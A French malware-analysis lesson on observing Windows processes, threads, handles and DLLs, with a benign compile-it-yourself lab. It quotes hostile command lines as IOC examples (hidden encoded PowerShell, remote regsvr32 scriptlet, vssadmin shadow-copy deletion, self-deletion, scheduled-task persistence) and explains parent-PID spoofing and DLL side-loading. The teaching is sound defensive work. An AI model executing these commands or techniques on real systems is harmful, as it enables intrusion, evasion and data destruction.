Leçon 5.2 · Windows pour analystes· 40 min
Processus, threads et DLL
Processus, threads et DLL vus par un observateur — PEB, TEB, jetons, handles, arbres de processus et modules — et comment les lire comme des preuves.
Objectifs
- Décrire ce que possède un processus (espace d’adressage, table des handles, jeton, PEB) et ce que possède un thread (contexte, piles, TEB)
- Inspecter processus, threads, handles et modules avec Process Explorer, System Informer et Process Monitor
- Lire les relations parent/enfant et les lignes de commande comme éléments d’analyse, et savoir où elles peuvent mentir
- Reconnaître la famille CreateProcess et les options qui changent ce que vous devez vous attendre à observer
- Expliquer comment les DLL arrivent dans un processus et repérer les modules ou threads qui n’ont rien à y faire
Comment un binaire est chargé et exécuté a suivi
un exécutable de CreateProcess jusqu’à main. Cette leçon change de point de vue.
Vous n’êtes plus le loader ; vous êtes l’analyste qui observe une machine sur
laquelle un échantillon vient de s’exécuter. Ce que vous voyez, c’est un ensemble
de processus, chacun contenant des threads et des modules, reliés
entre eux par des relations parent/enfant et par des handles. Presque toutes les
observations comportementales que vous rapporterez — « il a lancé PowerShell »,
« il s’est injecté dans explorer.exe », « il a chargé une DLL depuis %TEMP% » —
portent sur ces trois objets. Savoir ce qu’est chacun d’eux, et lesquels de ses
attributs sont fiables, c’est ce qui transforme une capture d’écran d’un arbre de
processus en preuve.
Ce qu’est un processus
Un processus est un conteneur. Il n’exécute pas de code lui-même ; ce sont ses threads qui le font. Ce que le processus détient, c’est tout ce que ces threads partagent :
| Composant | Ce que c’est | Ce que vous cherchez |
|---|---|---|
| Espace d’adressage virtuel | Carte mémoire privée : l’image, les DLL, les tas, les piles, les autres allocations | Des régions exécutables qui ne sont adossées à aucun fichier sur disque |
| Table des handles | Les références ouvertes du processus vers des objets noyau : fichiers, clés de registre, autres processus, threads, mutex, sections | Handles vers d’autres processus, mutex nommés, fichiers à des emplacements inhabituels |
| Jeton d’accès | L’identité de sécurité : SID de l’utilisateur, groupes, privilèges, niveau d’intégrité | Sous quelle identité il tourne, s’il est élevé, quels privilèges sont activés |
| PEB | Process Environment Block en mode utilisateur : base de l’image, listes des modules chargés, paramètres du processus | Ligne de commande, chemin de l’image, répertoire courant, environnement |
| Au moins un thread | Ce qui s’exécute réellement | L’endroit où chaque thread a démarré |
| Identifiants | ID de processus (PID), PID parent, ID de session, heure de création | Position dans l’arbre, chronologie |
Deux couches décrivent chaque processus. Le noyau tient son propre registre (une
structure EPROCESS) que le code en mode utilisateur ne peut pas toucher. Le
PEB, en revanche, vit dans l’espace d’adressage du processus lui-même, où le
processus — ou quiconque peut écrire dans sa mémoire — peut le modifier. Cette
séparation compte pour un observateur : une valeur qu’un outil lit dans le PEB (la
ligne de commande, la liste des modules, le chemin d’image affiché dans certaines
colonnes) n’est pas plus fiable que le processus lui-même. Les champs du PEB que
vous avez rencontrés dans la leçon sur le chargement (BeingDebugged,
ImageBaseAddress, Ldr) côtoient un autre champ qui compte ici :
| Champ du PEB x64 | Offset | Pourquoi les analystes s’y intéressent |
|---|---|---|
ProcessParameters | 0x20 | Pointeur vers RTL_USER_PROCESS_PARAMETERS : ImagePathName, CommandLine, CurrentDirectory, Environment |
Le jeton et les niveaux d’intégrité
Chaque processus porte un jeton d’accès principal. Pour le triage, quatre éléments méritent d’être lus dans l’onglet Security de Process Explorer ou de System Informer :
- Utilisateur.
NT AUTHORITY\SYSTEM, un compte de service ou l’utilisateur connecté. - Niveau d’intégrité. Low (moteurs de rendu en sandbox (bac à sable), processus en mode protégé), Medium (programmes utilisateur normaux), High (élevé, « Exécuter en tant qu’administrateur »), System (services et processus centraux de l’OS). Un échantillon qui a démarré en Medium et qui a ensuite un enfant en intégrité High sans invite UAC dans votre session vous montre un contournement de l’UAC.
- Privilèges.
SeDebugPrivilegeactivé dans un programme ordinaire signifie qu’il compte ouvrir des processus d’autres utilisateurs ou du système. La plupart des privilèges sont présents mais désactivés jusqu’à ce que le code appelleAdjustTokenPrivileges. - Groupes. L’appartenance à
BUILTIN\Administrators, et si ce groupe est activé ou « deny-only » (un jeton administrateur non élevé).
La table des handles
Un handle est un numéro local au processus qui désigne un objet noyau. Les
handles sont les relations actuelles du processus, ce qui en fait une vue en
direct de ce qu’il est en train de faire. Dans l’onglet Handles de System
Informer (ou dans le panneau inférieur de Process Explorer en vue handles,
Ctrl+H), les types qui comptent le plus souvent sont :
- Les handles Process et Thread vers d’autres processus — un préalable
pour lire ou écrire leur mémoire. Un échantillon qui détient un handle à accès
complet sur
explorer.exemérite un examen attentif. - Mutant (un mutex) nommé — souvent un marqueur « ne s’exécuter qu’une fois » propre à une famille, et un bon IOC (indicateur de compromission) ; la leçon Mutex, événements et communication inter-processus les traite.
- Les handles File et Key — les fichiers qu’il garde ouverts (journaux, charges utiles préparées) et les clés de registre qu’il surveille ou écrit.
- Les handles Section — mémoire partagée, y compris les fichiers mappés et la mémoire partagée entre processus.
Les handles sont éphémères. Un programme qui ouvre une clé, écrit une valeur et la referme ne laisse aucun handle à trouver ; c’est à cela que sert le journal d’événements de Process Monitor.
Ce qu’est un thread
Un thread est l’unité qu’exécute l’ordonnanceur. Chaque thread possède :
- un contexte — l’état des registres sauvegardé (
RIP,RSP, registres généraux, flags) que le noyau restaure quand le thread est ordonnancé ; - une pile en mode utilisateur dans l’espace d’adressage du processus et une pile noyau distincte (voir la pile) ;
- un Thread Environment Block (TEB), pointé par
gsen x64 (fsen x86, voir les registres de segment) ; - un ID de thread (TID), une priorité et une adresse de départ.
| Champ du TEB x64 | Offset | Contenu |
|---|---|---|
NtTib.StackBase / StackLimit | 0x08 / 0x10 | Bornes de la pile utilisateur du thread |
NtTib.Self | 0x30 | Adresse linéaire du TEB lui-même |
ClientId | 0x40 | PID et TID de ce thread |
ProcessEnvironmentBlock | 0x60 | Pointeur vers le PEB |
LastErrorValue | 0x68 | Ce que renvoie GetLastError |
C’est pourquoi mov rax, gs:[0x60] dans le désassemblage signifie « récupérer le
PEB », et gs:[0x30] signifie « récupérer mon propre TEB ».
L’adresse de départ est l’attribut de thread le plus utile
Quand un thread est créé, le noyau enregistre l’endroit où on lui a demandé de
commencer. Les outils l’affichent comme adresse de départ, résolue en
module!fonction+offset lorsqu’elle tombe dans une image chargée. Sur un
processus sain, vous verrez des motifs comme :
TID Start address
4812 sample.exe+0x14e0 main thread, the image's entry point
6120 ntdll.dll!TppWorkerThread thread-pool worker
6344 combase.dll!CRpcThreadCache::… COM plumbingCelle qui doit vous arrêter, c’est une adresse de départ qui ne se résout dans aucun module — une adresse hexadécimale nue à l’intérieur d’une région mémoire privée et exécutable. Le code légitime démarre presque toujours ses threads sur des fonctions situées dans des images ; du code écrit en mémoire à l’exécution n’a aucune image à laquelle appartenir. Cette seule observation est l’indice côté hôte le plus courant de shellcode, de charges utiles dépaquetées et de code injecté (voir l’injection de DLL réflective et l’injection d’APC). Deux réserves :
- L’adresse de départ est enregistrée à la création. Un thread démarré sur une
fonction légitime puis redirigé par
SetThreadContextconserve son adresse de départ innocente — c’est l’essence du détournement d’exécution de thread. - Les environnements JIT (.NET, navigateurs, Java) exécutent légitimement du code depuis de la mémoire privée. Jugez les threads non adossés à un fichier en fonction de la nature du processus.
Pour aller au-delà de l’adresse de départ, ouvrez la pile d’un thread dans
Process Explorer ou System Informer. Avec les symboles configurés, la pile
d’appels montre où se trouve le thread maintenant — en attente dans
NtDelayExecution (en sommeil), NtWaitForSingleObject ou une réception sur
socket — ce qui suffit souvent à dire ce qu’attend un implant inactif.
Outils d’observation, sans débogueur noyau
Tout ce qui figure dans cette leçon peut être observé avec des outils gratuits en mode utilisateur. WinDbg devient utile plus tard ; vous n’en avez pas besoin pour lire un arbre de processus.
| Outil | Idéal pour |
|---|---|
| Process Explorer (Sysinternals) | Arbre en direct, lignes de commande, signatures des images, recherche VirusTotal, threads et piles, vues DLL et handles (Ctrl+D / Ctrl+H) |
| System Informer (anciennement Process Hacker) | Les mêmes vues en direct, plus un onglet Memory détaillé (type de région, protection, adossement ou non à une image), l’édition des jetons et le détail par module |
| Process Monitor (Sysinternals) | Historique enregistré : démarrage et fin des processus, chargements d’images, événements fichier, registre et réseau. Tools → Process Tree montre les processus déjà terminés |
| Sysmon | Journal d’événements persistant et interrogeable : Event ID 1 (création de processus), 5 (fin), 7 (image chargée), 8 (CreateRemoteThread), 10 (accès à un processus) |
| ListDLLs / Handle (CLI Sysinternals) | Listes de modules et de handles scriptables ; listdlls -u ne liste que les DLL non signées |
| PowerShell / CIM | Extractions texte rapides du PID, du PID parent et de la ligne de commande |
Pour obtenir rapidement un arbre depuis un shell :
Get-CimInstance Win32_Process |
Select-Object ProcessId, ParentProcessId, Name, CommandLine |
Sort-Object ParentProcessId | Format-Table -AutoSize -WrapQuelques habitudes dans Process Explorer sont immédiatement rentables :
- Activez Options → Verify Image Signatures et ajoutez les colonnes Verified Signer, Command Line et Integrity.
- Apprenez le code couleur : rose pour les services, bleu clair pour les processus appartenant à votre utilisateur, violet pour les images que Process Explorer estime heuristiquement packées, et des flashs vert/rouge pour les processus qui démarrent et se terminent.
- Les outils en direct ne montrent que le présent. Les échantillons qui lancent un processus auxiliaire pendant deux secondes puis se terminent y sont invisibles — laissez Process Monitor ou Sysmon enregistrer avant de lancer quoi que ce soit. La prochaine leçon, Surveillance comportementale, bâtit une routine de capture complète sur ce principe.
La création de processus comme preuve
Chaque processus a un parent
Quand un processus est créé, le noyau enregistre le PID du créateur comme PID parent du nouveau processus. Les outils dessinent l’arbre à partir de ce seul nombre. L’arbre a de la valeur parce que les logiciels légitimes ont des parents prévisibles, ce qui n’est pas le cas de la plupart des chaînes de distribution de malware (logiciel malveillant) :
expected suspicious
─────────────────────────────────── ──────────────────────────────────────
services.exe ─► svchost.exe -k … winword.exe ─► cmd.exe ─► powershell.exe
wininit.exe ─► services.exe, lsass.exe excel.exe ─► rundll32.exe %TEMP%\a.dll
explorer.exe ─► chrome.exe, notepad.exe outlook.exe ─► mshta.exe http://…
svchost.exe ─► taskhostw.exe wscript.exe ─► powershell.exe -enc …
(Schedule) explorer.exe ─► svchost.exe
svchost.exe (in C:\Users\…\AppData\)Motifs à vérifier sur chaque arbre :
- Office, lecteurs PDF, navigateurs et clients de messagerie qui lancent des
shells ou des hôtes de scripts (
cmd.exe,powershell.exe,wscript.exe,cscript.exe,mshta.exe,rundll32.exe,regsvr32.exe). C’est la signature d’un document malveillant ou d’un exploit, et un grand classique des règles de détection. - Des noms de processus système avec le mauvais parent, le mauvais chemin ou le
mauvais nombre d’instances. Un
svchost.exedont le parent n’est passervices.exe; unlsass.exeailleurs que dansC:\Windows\System32ou en plus d’un exemplaire ; des noms trompeurs commescvhost.exeoulsasss.exe. - Des auxiliaires éphémères. Des enfants
cmd.exe /cqui exécutent une commande puis se terminent, souvent pour de la reconnaissance (whoami,ipconfig /all,net group) ou du nettoyage. - L’échantillon qui se relance lui-même depuis un nouvel emplacement
(
%APPDATA%,%TEMP%,ProgramData), souvent avec un argument qui indique à la seconde copie qu’elle est l’instance « installée ».
Connaissez aussi les bizarreries normales. userinit.exe lance explorer.exe
puis se termine, si bien qu’explorer.exe n’a normalement aucun parent
vivant. smss.exe lance des copies de lui-même par session qui démarrent
csrss.exe et winlogon.exe puis se terminent. Les processus lancés via WMI
apparaissent sous WmiPrvSE.exe, les tâches planifiées sous le svchost.exe qui
héberge le service Schedule, et les serveurs COM sous le svchost.exe qui héberge
DcomLaunch — un lancement indirect casse donc délibérément la chaîne que vous
suivriez autrement.
Là où le PID parent peut mentir
Le PID parent est un nombre enregistré une seule fois, à la création. Trois choses le fragilisent :
- La réutilisation des PID. Quand le parent se termine, son PID finit par
être réutilisé. Un nouveau processus sans rapport peut alors ressembler au
parent. Process Explorer compare les heures de création avant d’imbriquer ;
quand vous corrélez à la main, faites de même, ou utilisez les
ProcessGuid/ParentProcessGuidde Sysmon, qui ne sont jamais réutilisés. - L’usurpation du PID parent. Un créateur peut désigner comme « parent »
n’importe quel processus qu’il peut ouvrir, via l’attribut
PROC_THREAD_ATTRIBUTE_PARENT_PROCESSd’une structureSTARTUPINFOEX. L’enfant apparaît alors sous, par exemple,explorer.exe, hérite à certains égards du contexte de jeton de ce processus, et le vrai créateur disparaît de l’arbre. L’Event 1 de Sysmon enregistre le parent usurpé ; le fournisseur ETW de processus du noyau enregistre le vrai créateur dans l’en-tête de l’événement, et c’est ainsi que les EDR le repèrent (ATT&CK T1134.004). - Le lancement indirect. WMI, les tâches planifiées, les services et COM font volontairement d’un processus système le parent, comme décrit plus haut.
Cette même relation de parenté est aussi utilisée contre vous : des échantillons
vérifient si leur propre parent est explorer.exe et restent dormants s’il
s’agit d’un débogueur ou d’un lanceur de sandbox — voir
la détection du processus parent.
Les lignes de commande sont des IOC
Une ligne de commande est souvent l’indicateur le plus spécifique que vous donne un processus. C’est là qu’apparaissent en clair les charges utiles encodées, les chemins des fichiers déposés, les URL de C2 et les noms de fonctions exportées :
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBi… base64 of UTF-16LE script
rundll32.exe C:\Users\a\AppData\Local\Temp\x4.dat,DllRegisterServer DLL with a non-DLL extension
regsvr32.exe /s /n /u /i:http://… scrobj.dll remote scriptlet
cmd.exe /c ping 127.0.0.1 -n 3 > nul & del "C:\…\sample.exe" delay, then self-delete
vssadmin.exe delete shadows /all /quiet ransomware pre-encryption step
schtasks.exe /create /sc minute /mo 15 /tn "Updater" /tr "…" scheduled-task persistenceDeux points de précision :
- Capturez-la à la création. L’Event 1 de Sysmon et l’événement de sécurité
4688 (avec la stratégie Include command line in process creation events
activée) enregistrent la ligne de commande reçue par le noyau. Les outils en
direct la lisent généralement dans les
ProcessParametersdu PEB au moment où vous regardez — et comme le PEB est modifiable, un processus peut écraser sa propre ligne de commande après son démarrage. Si la valeur en direct et la valeur journalisée diffèrent, cette différence est en soi une trouvaille. - Normalisez avant de comparer.
-enc,-EncodedCommand,-eet-ecsont le même commutateur PowerShell ;^et"peuvent être parsemés dans les lignes de commandecmd.exesans en changer le sens. Les détections fondées sur des chaînes exactes sont faciles à contourner.
La famille CreateProcess
Toutes les manières de démarrer un programme en mode utilisateur aboutissent à
l’appel natif NtCreateUserProcess vu dans la leçon sur le chargement, mais l’API
qu’utilise un échantillon vous dit ce qu’il cherche à faire et ce que vous devez
vous attendre à voir :
| API | Ce qu’elle fait | Ce que vous observez |
|---|---|---|
CreateProcessA/W | Le cas général : image, ligne de commande, options, informations de démarrage | Enfant directement sous l’échantillon |
CreateProcessAsUserW | Idem, avec un jeton fourni par l’appelant | Enfant tournant sous un autre utilisateur ou un autre niveau d’intégrité |
CreateProcessWithTokenW, CreateProcessWithLogonW | Démarrer sous un jeton dupliqué ou de nouveaux identifiants ; le travail est fait par le service Secondary Logon | Enfant dont le jeton diffère de celui de l’appelant |
ShellExecute(Ex)W | Passer par le shell : associations de fichiers, URL, verbe runas pour l’élévation | Le gestionnaire associé démarre (par exemple .js → wscript.exe) ; runas déclenche une invite UAC |
WinExec, system() / _popen de la CRT | Wrappers historiques ou de commodité ; system exécute cmd.exe /c … | Une couche cmd.exe supplémentaire dans l’arbre |
WMI Win32_Process.Create, Planificateur de tâches, création de service | Demander à un autre composant de démarrer le processus | Le parent est WmiPrvSE.exe, svchost.exe ou services.exe |
Les options de création et les informations de démarrage changent l’apparence de l’enfant :
CREATE_SUSPENDED(0x4) — le thread initial de l’enfant ne s’exécute pas avantResumeThread. Il existe des usages légitimes, mais un enfant suspendu d’un binaire système courant, créé par un programme inconnu, est le coup d’ouverture du process hollowing. Dans un outil en direct, l’enfant montre tous ses threads à l’état Suspended.CREATE_NO_WINDOW(0x08000000) etDETACHED_PROCESS(0x8), ouSTARTF_USESHOWWINDOWavecSW_HIDE— exécuter un programme console sans fenêtre visible.EXTENDED_STARTUPINFO_PRESENT(0x00080000) — uneSTARTUPINFOEXavec une liste d’attributs suit ; cherchez-yPROC_THREAD_ATTRIBUTE_PARENT_PROCESS(usurpation du parent) ou des attributs de politique d’atténuation, comme le blocage des DLL non Microsoft.lpApplicationName = NULLavec un chemin sans guillemets contenant des espaces — Windows essaie chaque préfixe délimité par un espace, si bien queC:\Program Files\App\app.exepeut d’abord essayerC:\Program.exe. À remarquer à la fois comme bug exploité par les malwares et comme artefact sur disque.
Quand vous voyez ces API dans les imports d’un échantillon (voir Lire les capacités dans les imports), l’argument des options est la première chose à retrouver dans le désassembleur.
Les DLL : du code qui vit dans le processus d’un autre
Une DLL est une image PE dotée d’une table d’exports, chargée dans un processus plutôt qu’exécutée comme tel. Elle n’a ni processus, ni PID, ni jeton propres ; elle s’exécute sur les threads du processus hôte avec les privilèges de l’hôte. C’est précisément pour cela que les auteurs de malware l’apprécient : l’activité d’une DLL malveillante est attribuée, dans la plupart des télémétries, au processus qui l’a chargée.
Comment une DLL arrive dans un processus
| Chemin | Quand | Observable sous la forme |
|---|---|---|
| Import statique | Au chargement, par le loader, depuis la table des imports | Présente dès le départ ; listée dans les imports du PE |
LoadLibrary(Ex) | À l’exécution, quand le code le demande | Événement de chargement d’image après le démarrage du processus (Procmon Load Image, Sysmon Event 7) |
| Chargement différé | Au premier appel à l’une de ses fonctions | Comme LoadLibrary, mais listée dans le répertoire des imports différés |
| Un binaire hôte | rundll32.exe dll,Export, regsvr32.exe dll (appelle DllRegisterServer), une DLL de service sous svchost.exe | Un binaire Windows signé dont la ligne de commande nomme la DLL |
| Abus de l’ordre de recherche | Un programme légitime charge une DLL plantée portant le nom attendu | EXE signé dans un dossier accessible en écriture, DLL à côté — voir le détournement de l’ordre de recherche des DLL |
| Mappage manuel | Du code copie et reloge lui-même une DLL, sans le loader | Rien dans la liste des modules — voir plus bas |
Quand une DLL est chargée, le loader appelle son point d’entrée, DllMain, avec
DLL_PROCESS_ATTACH — puis avec DLL_THREAD_ATTACH / DETACH pour chaque
thread, et DLL_PROCESS_DETACH au déchargement. Une DLL malveillante n’a donc pas
besoin d’être « appelée » : être chargée suffit pour exécuter du code, tout comme
les callbacks TLS s’exécutent avant le
point d’entrée d’un exécutable. Comme DllMain
s’exécute pendant que le loader détient un verrou, un code bien élevé y démarre
un thread et rend la main ; un nouveau thread dont l’adresse de départ se trouve
dans une DLL fraîchement chargée en est la trace habituelle.
Pour les appels à LoadLibrary qui nomment la DLL sans chemin complet, Windows
cherche dans un ordre fixe. Avec le mode de recherche sûr (par défaut), l’ordre
pour les applications de bureau est à peu près :
1. DLL redirection / API sets / already-loaded modules
2. KnownDLLs (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
3. the directory the application was loaded from
4. C:\Windows\System32
5. C:\Windows\System (16-bit)
6. C:\Windows
7. the current directory
8. directories on %PATH%L’étape 3 explique pourquoi le DLL side-loading fonctionne : copiez un exécutable légitime et signé dans un dossier accessible en écriture par l’utilisateur, déposez à côté une DLL malveillante portant le nom qu’il attend, et le loader choisit celle qui a été plantée. De l’extérieur, vous voyez un processus de confiance et signé — dont la liste des modules contient une DLL non signée provenant du même dossier inhabituel.
Lire la liste des modules
Ouvrez la vue DLL (Process Explorer Ctrl+D, onglet Modules de System
Informer, ou listdlls -u <pid>) et posez-vous, pour chaque module, les questions
suivantes :
- Chemin. Les DLL système viennent de
C:\Windows\System32(ou deSysWOW64pour les processus 32 bits) et de WinSxS. Tout ce qui se trouve sous%TEMP%,%APPDATA%,ProgramDataou dans le dossier de l’échantillon doit avoir une raison d’être. - Signature. Les modules non signés dans un processus Microsoft signé sont rares. Activez la vérification des signatures et triez par Verified Signer.
- Nom ou emplacement. Une
version.dllou unewinhttp.dllchargée depuis le dossier de l’application plutôt que depuis System32, c’est le motif du side-loading. - Moment du chargement. Dans Procmon, une DLL chargée plusieurs minutes après le démarrage, juste avant une activité réseau, vous indique quand une capacité est arrivée.
La liste des modules elle-même provient des listes Ldr du PEB — des données en
mode utilisateur — si bien qu’un échantillon déterminé peut en délier une entrée
pour la cacher, et qu’une DLL mappée manuellement n’y figure jamais. La
vérification croisée, c’est la carte mémoire : l’onglet Memory de System
Informer étiquette chaque région comme Image (adossée à un fichier, mappée par
le loader), Mapped ou Private. Une région Private exécutable qui commence
par MZ, ou vers laquelle pointe l’adresse de départ d’un thread, est un module
dont la liste ne vous parle pas. Les prochaines leçons Comprendre l’injection de
processus et Dumper la mémoire et extraire les charges utiles s’appuient
précisément sur cette vérification.
Lab : construire un petit arbre de processus et le lire
Ce lab utilise des programmes bénins que vous compilez vous-même. Exécutez-les
dans votre VM d’analyse Windows de
Construire un laboratoire d’analyse sûr, avec
Process Explorer, System Informer et Process Monitor installés (FLARE-VM inclut
les trois). Compilez sur n’importe quelle machine disposant de mingw-w64.
-
Créez une petite DLL avec un
DllMainet un export compatiblerundll32:c // labdll.c — announces itself when loaded; Hello() is callable via rundll32 #include <windows.h> BOOL WINAPI DllMain(HINSTANCE inst, DWORD reason, LPVOID reserved) { if (reason == DLL_PROCESS_ATTACH) OutputDebugStringA("labdll: DLL_PROCESS_ATTACH"); return TRUE; } __declspec(dllexport) void CALLBACK Hello(HWND hwnd, HINSTANCE inst, LPSTR args, int show) { MessageBoxA(NULL, args && *args ? args : "hello from labdll", "labdll", MB_OK); } -
Créez un lanceur qui démarre un enfant avec une fenêtre masquée, exécute un second thread, charge la DLL à l’exécution puis attend pour que vous puissiez l’inspecter :
c // lab.c — spawns a child, starts a worker thread, loads labdll.dll, waits #include <windows.h> #include <stdio.h> static DWORD WINAPI worker(LPVOID arg) { Sleep(INFINITE); /* idle thread to find later */ return 0; } int main(void) { char cmd[] = "cmd.exe /c ping -n 120 127.0.0.1 > nul"; STARTUPINFOA si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi; if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) return 1; printf("lab pid %lu, child cmd.exe pid %lu\n", GetCurrentProcessId(), pi.dwProcessId); CloseHandle(pi.hThread); /* keep hProcess open on purpose */ HANDLE t = CreateThread(NULL, 0, worker, NULL, 0, NULL); HMODULE dll = LoadLibraryA("labdll.dll"); printf("worker thread %lu, labdll at %p\n", GetThreadId(t), (void *)dll); puts("press Enter to exit"); getchar(); CloseHandle(pi.hProcess); return 0; } -
Compilez les deux et copiez-les dans le même dossier de la VM :
bash x86_64-w64-mingw32-gcc -shared -s -o labdll.dll labdll.c -luser32 x86_64-w64-mingw32-gcc -s -o lab.exe lab.c -
Lancez d’abord l’enregistrement. Ouvrez Process Monitor et videz le journal. Laissez-le sans filtre pour l’instant ; vous affinerez la vue ensuite avec Tools → Process Tree et des filtres. Lancez aussi DebugView si vous l’avez, pour voir le message
OutputDebugStringémis parDllMain. -
Exécutez
lab.exedepuis une invite de commandes. Laissez-le en attente. -
Lisez l’arbre. Dans Process Explorer, trouvez
cmd.exe→lab.exe→cmd.exe→PING.EXE. Unconhost.exepeut apparaître à côté de l’enfant console masqué. Survolez ou ajoutez la colonne Command Line et lisez la ligne de commande complète de l’enfant. Vérifiez la colonne Integrity : tous doivent être en Medium. -
Lisez les threads. Ouvrez
lab.exe→ Threads. Vous devriez trouver le thread principal démarrant danslab.exe, votre thread de travail démarrant à un autre offsetlab.exe+0x…, et éventuellement des workers du pool de threads dansntdll.dll. Sélectionnez le thread de travail et cliquez sur Stack : il attend dansNtDelayExecution, appelé depuisSleepEx. -
Lisez les modules et les handles. Appuyez sur
Ctrl+D:labdll.dllest listée avec le dossier du lab comme chemin et sans signataire vérifié, au milieu des DLL de System32. Appuyez surCtrl+H: trouvez le handle Process vers l’enfantcmd.exe— le handle que vous avez délibérément gardé ouvert. -
Vérifiez la mémoire. Dans System Informer, ouvrez
lab.exe→ Memory. Trouvez la région à l’adresse de base que le programme a affichée pourlabdll.dll. Notez qu’elle est de type Image avec un chemin de fichier — et qu’aucune région Private n’est exécutable. C’est la référence que vous donne un processus sain. -
Observez un binaire hôte. Exécutez
rundll32.exe labdll.dll,Hello "loaded by rundll32". Dans Process Explorer, le processus est lerundll32.exesigné par Microsoft ; seules sa ligne de commande et sa liste de modules révèlent ce qu’il exécute réellement. -
Retrouvez l’historique. Une fois
PING.EXEterminé (deux minutes) ou après avoir appuyé sur Entrée, l’arbre en direct perd ces processus. Dans Process Monitor, ouvrez Tools → Process Tree : ils y sont toujours, avec lignes de commande, heures de début et de fin. Filtrez sur Operation is Load Image pour voir à quel momentlabdll.dlla été chargée par rapport au démarrage du processus.
Questions : Lesquelles de vos observations rapporteriez-vous comme IOC, et
lesquelles ne valent que pour cette compilation ? Si lab.exe avait passé
CREATE_SUSPENDED, qu’aurait montré l’onglet Threads de l’enfant ? Si le thread
de travail avait démarré à une adresse nue sans nom de module, que vérifieriez-vous
ensuite dans l’onglet Memory ? Pourquoi le fait que rundll32.exe soit signé par
Microsoft ne vous apprend-il rien sur la DLL qu’il exécute ?
À retenir
- Un processus est un conteneur — espace d’adressage, table des handles, jeton, PEB — et ce sont ses threads qui travaillent ; les DLL s’exécutent sur ces threads avec l’identité de l’hôte.
- Les enregistrements côté noyau (PID, PID parent à la création, mémoire adossée à une image) sont plus fiables que les données du PEB en mode utilisateur (ligne de commande, liste des modules), qu’un processus peut réécrire.
- Les arbres de processus sont des preuves parce que les logiciels légitimes ont des parents prévisibles ; connaissez les bizarreries normales et les façons dont un parent peut être réutilisé, usurpé ou délibérément indirect.
- Les lignes de commande sont souvent l’IOC le plus spécifique que vous donne un processus ; capturez-les à la création avec Sysmon ou 4688 plutôt que de vous fier à une vue en direct.
- Les options de création comme
CREATE_SUSPENDEDet les listes d’attributs changent ce que vous devez vous attendre à voir — et sont la première chose à retrouver quand un échantillon importeCreateProcess. - Les threads qui démarrent hors de tout module, et la mémoire privée exécutable que la liste des modules n’explique pas, sont les signes côté hôte les plus courants d’un code qui ne provient pas d’un fichier sur disque.